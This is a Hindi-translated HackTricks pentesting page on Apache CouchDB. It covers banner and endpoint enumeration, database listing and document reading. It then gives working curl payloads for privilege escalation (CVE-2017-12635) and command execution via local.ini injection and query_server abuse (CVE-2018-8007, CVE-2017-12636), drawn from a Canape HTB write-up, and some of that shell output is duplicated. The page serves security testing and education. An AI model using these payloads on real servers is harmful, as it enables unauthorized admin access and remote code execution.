hacktricks/network-services-pentesting/5984-pentesting-couchdb.md

31 KiB

5984,6984 - CouchDB का पेंटेस्टिंग

AWS हैकिंग सीखें शून्य से लेकर हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ!

HackTricks का समर्थन करने के अन्य तरीके:

मूल जानकारी

CouchDB एक दस्तावेज़-उन्मुख डेटाबेस है और प्रत्येक दस्तावेज़ में फील्ड्स को कुंजी-मान मैप्स के रूप में संग्रहीत किया जाता है। फील्ड्स या तो एक सरल कुंजी/मान जोड़ी, सूची, या मैप हो सकते हैं।

प्रत्येक दस्तावेज़ जो डेटाबेस में संग्रहीत होता है, उसे एक दस्तावेज़-स्तर की अद्वितीय पहचानकर्ता (_id) के साथ-साथ प्रत्येक परिवर्तन के लिए एक संशोधन (_rev) संख्या भी दी जाती है जो डेटाबेस में सहेजी जाती है।

डिफ़ॉल्ट पोर्ट: 5984(http), 6984(https)

PORT      STATE SERVICE REASON
5984/tcp  open  unknown syn-ack

स्वचालित सूचीकरण

nmap -sV --script couchdb-databases,couchdb-stats -p <PORT> <IP>
msf> use auxiliary/scanner/couchdb/couchdb_enum

मैनुअल गणना

बैनर

curl http://IP:5984/

यह स्थापित CouchDB इंस्टेंस पर एक GET अनुरोध भेजता है। उत्तर कुछ इस प्रकार दिखना चाहिए:

{"couchdb":"Welcome","version":"0.10.1"}
{"couchdb":"Welcome","version":"2.0.0","vendor":{"name":"The Apache Software Foundation"}}

{% hint style="info" %} ध्यान दें कि यदि आप couchdb की रूट तक पहुँचते हैं और आपको 401 Unauthorized के साथ कुछ इस तरह का संदेश मिलता है: {"error":"unauthorized","reason":"Authentication required."} आप बैनर या किसी अन्य एंडपॉइंट तक पहुँचने में सक्षम नहीं होंगे। {% endhint %}

जानकारी संग्रहण

ये वे एंडपॉइंट्स हैं जहाँ आप GET अनुरोध के साथ पहुँच सकते हैं और कुछ दिलचस्प जानकारी निकाल सकते हैं। आप अधिक एंडपॉइंट्स और अधिक विस्तृत विवरण couchdb दस्तावेज़ीकरण में पा सकते हैं

  • /_active_tasks चल रहे कार्यों की सूची, जिसमें कार्य का प्रकार, नाम, स्थिति और प्रक्रिया आईडी शामिल है।
  • /_all_dbs CouchDB इंस्टेंस में सभी डेटाबेस की सूची देता है।
  • /_cluster_setup नोड या क्लस्टर की स्थिति देता है, क्लस्टर सेटअप विज़ार्ड के अनुसार।
  • /_db_updates CouchDB इंस्टेंस में सभी डेटाबेस इवेंट्स की सूची देता है। इस एंडपॉइंट का उपयोग करने के लिए _global_changes डेटाबेस का होना आवश्यक है।
  • /_membership cluster_nodes के रूप में क्लस्टर का हिस्सा बने नोड्स को प्रदर्शित करता है। all_nodes फील्ड उन सभी नोड्स को प्रदर्शित करता है जिनके बारे में यह नोड जानता है, जिनमें क्लस्टर का हिस्सा बने नोड्स भी शामिल हैं।
  • /_scheduler/jobs प्रतिकृति कार्यों की सूची। प्रत्येक कार्य विवरण में स्रोत और लक्ष्य की जानकारी, प्रतिकृति आईडी, हाल की घटनाओं का इतिहास, और कुछ अन्य चीजें शामिल होंगी।
  • /_scheduler/docs प्रतिकृति दस्तावेज़ स्थितियों की सूची। सभी दस्तावेज़ों की जानकारी शामिल है, यहाँ तक कि completed और failed स्थितियों में भी। प्रत्येक दस्तावेज़ के लिए यह दस्तावेज़ आईडी, डेटाबेस, प्रतिकृति आईडी, स्रोत और लक्ष्य, और अन्य जानकारी लौटाता है।
  • /_scheduler/docs/{replicator_db}
  • /_scheduler/docs/{replicator_db}/{docid}
  • /_node/{node-name} /_node/{node-name} एंडपॉइंट का उपयोग सर्वर के Erlang नोड नाम की पुष्टि करने के लिए किया जा सकता है जो अनुरोध को संसाधित करता है। यह /_node/_local तक पहुँचकर इस जानकारी को प्राप्त करने के लिए सबसे उपयोगी है।
  • /_node/{node-name}/_stats _stats संसाधन एक JSON ऑब्जेक्ट लौटाता है जिसमें चल रहे सर्वर के लिए आँकड़े शामिल होते हैं। शाब्दिक स्ट्रिंग _local स्थानीय नोड नाम के लिए एक उपनाम के रूप में काम करती है, इसलिए सभी स्टैट्स URL के लिए, {node-name} को _local के साथ बदला जा सकता है, ताकि स्थानीय नोड के आँकड़ों के साथ बातचीत की जा सके।
  • /_node/{node-name}/_system _systemresource एक JSON ऑब्जेक्ट लौटाता है जिसमें चल रहे सर्वर के लिए विभिन्न सिस्टम-स्तरीय आँकड़े शामिल होते हैं_._ आप ___local का उपयोग {node-name} के रूप में वर्तमान नोड की जानकारी प्राप्त करने के लिए कर सकते हैं।
  • /_node/{node-name}/_restart
  • /_up पुष्टि करता है कि सर्वर चालू है, चल रहा है, और अनुरोधों का जवाब देने के लिए तैयार है। यदि maintenance_mode true या nolb है, तो एंडपॉइंट 404 प्रतिक्रिया लौटाएगा।
  • /_uuids CouchDB इंस्टेंस से एक या अधिक सार्वभौमिक अद्वितीय पहचानकर्ता (UUIDs) का अनुरोध करता है।
  • /_reshard पूर्ण, विफल, चल रहे, रुके हुए, और कुल कार्यों की गिनती के साथ-साथ क्लस्टर पर रीशार्डिंग की स्थिति देता है।

अधिक दिलचस्प जानकारी यहाँ बताए गए तरीके से निकाली जा सकती है: https://lzone.de/cheat-sheet/CouchDB

डेटाबेस सूची

curl -X GET http://IP:5984/_all_dbs

यदि वह अनुरोध 401 अनधिकृत के साथ प्रतिक्रिया देता है, तो आपको डेटाबेस तक पहुँचने के लिए कुछ मान्य प्रमाण-पत्र की आवश्यकता है:

curl -X GET http://user:password@IP:5984/_all_dbs

किसी वैध Credentials का पता लगाने के लिए आप कोशिश कर सकते हैं सेवा को bruteforce करने के लिए.

यह एक उदाहरण है couchdb के प्रतिक्रिया का जब आपके पास पर्याप्त अधिकार होते हैं डेटाबेस की सूची बनाने के लिए (यह सिर्फ डीबीएस की एक सूची है):

["_global_changes","_metadata","_replicator","_users","passwords","simpsons"]

डेटाबेस जानकारी

आप कुछ डेटाबेस जानकारी (जैसे फाइलों की संख्या और आकार) प्राप्त कर सकते हैं, डेटाबेस का नाम एक्सेस करके:

curl http://IP:5984/<database>
curl http://localhost:5984/simpsons
#Example response:
{"db_name":"simpsons","update_seq":"7-g1AAAAFTeJzLYWBg4MhgTmEQTM4vTc5ISXLIyU9OzMnILy7JAUoxJTIkyf___z8rkQmPoiQFIJlkD1bHjE-dA0hdPFgdAz51CSB19WB1jHjU5bEASYYGIAVUOp8YtQsgavfjtx-i9gBE7X1i1D6AqAX5KwsA2vVvNQ","sizes":{"file":62767,"external":1320,"active":2466},"purge_seq":0,"other":{"data_size":1320},"doc_del_count":0,"doc_count":7,"disk_size":62767,"disk_format_version":6,"data_size":2466,"compact_running":false,"instance_start_time":"0"}

दस्तावेज़ सूची

डेटाबेस के अंदर प्रत्येक प्रविष्टि की सूची बनाएं

curl -X GET http://IP:5984/{dbname}/_all_docs
curl http://localhost:5984/simpsons/_all_docs
#Example response:
{"total_rows":7,"offset":0,"rows":[
{"id":"f0042ac3dc4951b51f056467a1000dd9","key":"f0042ac3dc4951b51f056467a1000dd9","value":{"rev":"1-fbdd816a5b0db0f30cf1fc38e1a37329"}},
{"id":"f53679a526a868d44172c83a61000d86","key":"f53679a526a868d44172c83a61000d86","value":{"rev":"1-7b8ec9e1c3e29b2a826e3d14ea122f6e"}},
{"id":"f53679a526a868d44172c83a6100183d","key":"f53679a526a868d44172c83a6100183d","value":{"rev":"1-e522ebc6aca87013a89dd4b37b762bd3"}},
{"id":"f53679a526a868d44172c83a61002980","key":"f53679a526a868d44172c83a61002980","value":{"rev":"1-3bec18e3b8b2c41797ea9d61a01c7cdc"}},
{"id":"f53679a526a868d44172c83a61003068","key":"f53679a526a868d44172c83a61003068","value":{"rev":"1-3d2f7da6bd52442e4598f25cc2e84540"}},
{"id":"f53679a526a868d44172c83a61003a2a","key":"f53679a526a868d44172c83a61003a2a","value":{"rev":"1-4446bfc0826ed3d81c9115e450844fb4"}},
{"id":"f53679a526a868d44172c83a6100451b","key":"f53679a526a868d44172c83a6100451b","value":{"rev":"1-3f6141f3aba11da1d65ff0c13fe6fd39"}}
]}

दस्तावेज़ पढ़ें

डेटाबेस के अंदर एक दस्तावेज़ की सामग्री पढ़ें:

curl -X GET http://IP:5984/{dbname}/{id}
curl http://localhost:5984/simpsons/f0042ac3dc4951b51f056467a1000dd9
#Example response:
{"_id":"f0042ac3dc4951b51f056467a1000dd9","_rev":"1-fbdd816a5b0db0f30cf1fc38e1a37329","character":"Homer","quote":"Doh!"}

CouchDB विशेषाधिकार वृद्धि CVE-2017-12635

Erlang और JavaScript JSON पार्सरों के बीच के अंतर की वजह से आप निम्नलिखित अनुरोध के साथ hacktricks:hacktricks क्रेडेंशियल्स के साथ एक एडमिन यूजर बना सकते हैं:

curl -X PUT -d '{"type":"user","name":"hacktricks","roles":["_admin"],"roles":[],"password":"hacktricks"}' localhost:5984/_users/org.couchdb.user:hacktricks -H "Content-Type:application/json"

CouchDB RCE

CouchDB डॉक्स में, क्लस्टर सेट-अप सेक्शन में, CouchDB द्वारा प्रयुक्त विभिन्न पोर्ट्स के बारे में बात की गई है:

क्लस्टर मोड में CouchDB पोर्ट 5984 का उपयोग करता है जैसे स्टैंडअलोन, लेकिन यह 5986 का भी उपयोग करता है नोड-लोकल APIs के लिए।

Erlang अन्य नोड्स को खोजने के लिए TCP पोर्ट 4369 (EPMD) का उपयोग करता है, इसलिए सभी सर्वर्स को इस पोर्ट पर एक दूसरे से बात करने में सक्षम होना चाहिए। Erlang क्लस्टर में, सभी नोड्स अन्य सभी नोड्स से जुड़े होते हैं। एक जाल।

और फिर एक दिलचस्प चेतावनी है:

1536931232858

यदि हम प्रोसेस लिस्ट में देखें, तो हम देख सकते हैं कि कुकी, “monster”:

www-data@canape:/$ ps aux | grep couchdb
root        744  0.0  0.0   4240   640 ?        Ss   Sep13   0:00 runsv couchdb
root        811  0.0  0.0   4384   800 ?        S    Sep13   0:00 svlogd -tt /var/log/couchdb
homer       815  0.4  3.4 649348 34524 ?        Sl   Sep13   5:33 /home/homer/bin/../erts-7.3/bin/beam -K true -A 16 -Bd -- -root /home/homer/b

आप इस खंड को पढ़कर Erlangs कुकीज़ का दुरुपयोग करके RCE प्राप्त करने का तरीका जान सकते हैं
साथ ही, आप Canape HTB मशीन राइटअप जैसे यह एक पढ़कर और अभ्यास करके देख सकते हैं कि कैसे इस वल्न का शोषण करें

सफल CVE-2018-8007 local.ini लिखने की अनुमतियों के साथ

इस पोस्ट को लिखते समय, मुझे पता चला कि CouchDB के लिए mdsec से एक नया CVE जारी किया गया है, CVE-2018-8007। इसके लिए भी local.ini फाइल में लिखने की आवश्यकता होती है, इसलिए यह Canape के लिए उपयोगी विकल्प नहीं है। लेकिन चूंकि मैंने पहले ही इसे रूट के रूप में लिखने योग्य बना दिया है, आइए देखते हैं कि क्या हम इसे काम करवा सकते हैं।

एक साफ और अब लिखने योग्य local.ini के साथ शुरू करें (और एक बैकअप के साथ):

root@canape:/home/homer/etc# ls -l
total 40
-r--r--r-- 1 homer homer 18477 Jan 20  2018 default.ini
-rw-rw-rw- 1 homer homer  4841 Sep 14 17:39 local.ini
-r--r--r-- 1 root  root   4841 Sep 14 14:30 local.ini.bk
-r--r--r-- 1 homer homer  1345 Jan 14  2018 vm.args

हम local.ini फाइल में origins को मॉडिफाई करने के लिए curl का उपयोग कर सकते हैं। यहाँ पर भेद्यता यह है कि अगर हम curl का उपयोग करके एक नया origin और फिर newlines डालते हैं, तो हम अतिरिक्त सामग्री लिख सकते हैं, जिसमें एक नया हेडर और विवरण शामिल हैं। इसलिए हम [os_daemons] फील्ड का लाभ उठाएंगे, और CouchDB के लिए एक प्रक्रिया जोड़ेंगे जिसे वह चलाने की कोशिश करता रहेगा:

www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/cors/origins' -H "Accept: application/json" -H "Content-Type: application/json" -d "0xdf\n\n[os_daemons]\ntestdaemon = /usr/bin/touch /tmp/0xdf"

रूट शेल में, हम देख सकते हैं कि क्या बदलाव हैं:

root@canape:/home/homer/etc# diff local.ini local.ini.bk
119,124d118
<
< [cors]
< origins = 0xdf
<
< [os_daemons]
< test_daemon = /usr/bin/touch /tmp/0xdf

फिर भी, फाइल वहाँ नहीं है:

root@canape:/home/homer/etc# ls /tmp/0xdf
ls: cannot access '/tmp/0xdf': No such file or directory

यदि हम "couchdb" के साथ cmdline में चल रही प्रक्रियाओं को देखें, तो हमें न केवल वह कमांड लाइन मिलती है जो हमें पहले इस्तेमाल किए गए कुकी मान देती है, बल्कि runsrv couchdb भी मिलता है:

root@canape:/home/homer/bin# ps aux | grep couch
root        711  0.0  0.0   4240   696 ?        Ss   14:28   0:00 runsv couchdb
root        728  0.0  0.0   4384   812 ?        S    14:28   0:00 svlogd -tt /var/log/couchdb
homer      1785  0.8  3.1 638992 31248 ?        Sl   17:55   0:01 /home/homer/bin/../erts-7.3/bin/beam -K true -A 16 -Bd -- -root /home/homer/bin/.. -progname couchdb -- -home /home/homer -- -boot /home/homer/bi
n/../releases/2.0.0/couchdb -name couchdb@localhost -setcookie monster -kernel error_logger silent -sasl sasl_error_logger false -noshell -noinput -config /home/homer/bin/../releases/2.0.0/sys.config

यदि हम उस प्रक्रिया को मार देते हैं, तो वह तुरंत वापस आ जाती है (नई pid का ध्यान दें):

root@canape:/home/homer/etc# kill 711
root@canape:/home/homer/etc# ps aux | grep runsrv
root       2031  0.0  0.0  14224   980 pts/2    S+   18:09   0:00 grep --color=auto runsrv

और, पुनः आरंभ करने पर, OS_Daemons चलाता है:

root@canape:/home/homer/etc# ls /tmp/0xdf
/tmp/0xdf

CVE-2017-12636 के साथ सफल प्रयास जिसमें local.ini लिखने की अनुमति है

CVE-2017-12636 couchdb प्रक्रिया के माध्यम से कोड निष्पादन की अनुमति देता है। हालांकि, यह इस कॉन्फ़िगरेशन में काम नहीं करेगा।

कुछ POCs संदर्भ के लिए उपलब्ध हैं:

हमें एक नया query_server लिखने की आवश्यकता होगी, और फिर उसे आमंत्रित करना होगा। Canape जारी होने पर, अधिकांश POCs couchdb 1.x के लिए थे, लेकिन यह बॉक्स 2 चला रहा है, इसलिए अधिकांश POCs से query_servers का पथ मौजूद नहीं है। अब यह बदल गया है, लेकिन हम वही कदम उठाएंगे। पहले, संस्करण प्राप्त करें, और दिखाएं कि 1.X पथ मौजूद नहीं है:

www-data@canape:/var/www/git$ curl http://localhost:5984
{"couchdb":"Welcome","version":"2.0.0","vendor":{"name":"The Apache Software Foundation"}}

www-data@canape:/var/www/git$ curl http://0xdf:df@localhost:5984/_config/query_servers/
{"error":"not_found","reason":"Database does not exist."}

नए पथ के लिए 2.0 को अपडेट करें:

www-data@canape:/var/www/git$ curl 'http://0xdf:df@localhost:5984/_membership'
{"all_nodes":["couchdb@localhost"],"cluster_nodes":["couchdb@localhost"]}

www-data@canape:/var/www/git$ curl http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers
{"coffeescript":"./bin/couchjs ./share/server/main-coffee.js","javascript":"./bin/couchjs ./share/server/main.js"}

वहां से, हमें एक query_server जोड़ना चाहिए और फिर उसे आमंत्रित करना चाहिए, परंतु हम कर पाने में असमर्थ हैं।

www-data@canape:/var/www/git$ curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'
{"error":"badmatch","reason":"{badrpc,{'EXIT',{{{badmatch,{error,eacces}},\n                  [{config_writer,save_to_file,2,\n                                  [{file,\"src/config_writer.erl\"},{line,38}]},\n                   {config,handle_call,3,[{file,\"src/config.erl\"},{line,222}]},\n                   {gen_server,try_handle_call,4,\n                               [{file,\"gen_server.erl\"},{line,629}]},\n                   {gen_server,handle_msg,5,\n                               [{file,\"gen_server.erl\"},{line,661}]},\n                   {proc_lib,init_p_do_apply,3,\n                             [{file,\"proc_lib.erl\"},{line,240}]}]},\n                 {gen_server,call,\n                             [config,\n                              {set,\"query_servers\",\"cmd\",\n                                   \"/sbin/ifconfig > /tmp/df\",true,nil}]}}}}","ref":1617834159}

कुछ गूगलिंग से पता चलता है कि यह अनुमतियों से संबंधित समस्या है। वास्तव में, अगर हम अपने रूट शेल के साथ जांच करें, तो हम देख सकते हैं कि local.ini फाइल किसी के द्वारा भी लिखने योग्य नहीं है, अकेले www-data को छोड़कर:

root@canape:/home/home/etc# ls -ls local.ini
8 -r--r--r-- 1 homer homer 4841 Sep 14 17:11 local.ini

तो यह Canape के लिए एक बंद रास्ता है। लेकिन अगर हम इसे काम करने की कोशिश करना चाहते हैं, तो हम इसे हमारे root या homer पहुँच के साथ पढ़ने योग्य बना सकते हैं, और इस पथ पर आगे बढ़ सकते हैं। हम मूल का एक बैकअप बनाएंगे ताकि हम देख सकें कि क्या बदलाव होते हैं:

root@canape:/# cp /home/homer/etc/local.ini /home/homer/etc/local.ini.b
root@canape:/# chmod 666 /home/homer/etc/local.ini

अब, हमारे www-data shell पर वापस:

www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'
""
www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'
""

हमें cmd query server के लिए पिछला मान वापस मिलता है, जिसका अर्थ है सफलता। और रूट शेल में, हम देख सकते हैं कि यह काम कर गया:

root@canape:/home/homer/etc# diff local.ini local.ini.bk
48c48
< cmd = /sbin/ifconfig > /tmp/df
---
> cmd =

अब, हमें एक db बनाने में सक्षम होना चाहिए, उसके बाद उस db में एक दस्तावेज़ बनाएं, और फिर एक view के साथ उसे अनुरोध करें जो हमारे query_server को मैप करता है ताकि निष्पादन प्राप्त हो सके।

db और दस्तावेज़ बनाएं:

www-data@canape:/dev/shm$ curl 'http://0xdf:df@localhost:5984/_all_dbs'
["_global_changes","_metadata","_replicator","_users","god","passwords","simpsons","vultest"]
www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/df'
{"ok":true}
www-data@canape:/dev/shm$ curl 'http://0xdf:df@localhost:5984/_all_dbs'
["_global_changes","_metadata","_replicator","_users","df","passwords","simpsons"]

www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/df/zero' -d '{"_id": "HTP"}'
{"ok":true,"id":"zero","rev":"1-967a00dff5e02add41819138abb3284d"}
www-data@canape:/dev/shm$ curl 'http://0xdf:df@localhost:5984/_all_dbs'
["_global_changes","_metadata","_replicator","_users","god","passwords","simpsons","vultest"]
www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/df'
{"ok":true}
www-data@canape:/dev/shm$ curl 'http://0xdf:df@localhost:5984/_all_dbs'
["_global_changes","_metadata","_replicator","_users","df","passwords","simpsons"]

www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/df/zero' -d '{"_id": "HTP"}'
{"ok":true,"id":"zero","rev":"1-967a00dff5e02add41819138abb3284d"}

इसे एक दृश्य में अनुरोध करें:

www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/df/_design/zero' -d '{"_id": "_design/zero", "views": {"anything": {"map": ""} }, "language": "cmd"}' -H "Content-Type: application/json"

सारांश एक अलग पेलोड के साथ

Shodan

  • port:5984 couchdb

संदर्भ

AWS हैकिंग सीखें शून्य से नायक तक htARTE (HackTricks AWS Red Team Expert) के साथ!

HackTricks का समर्थन करने के अन्य तरीके: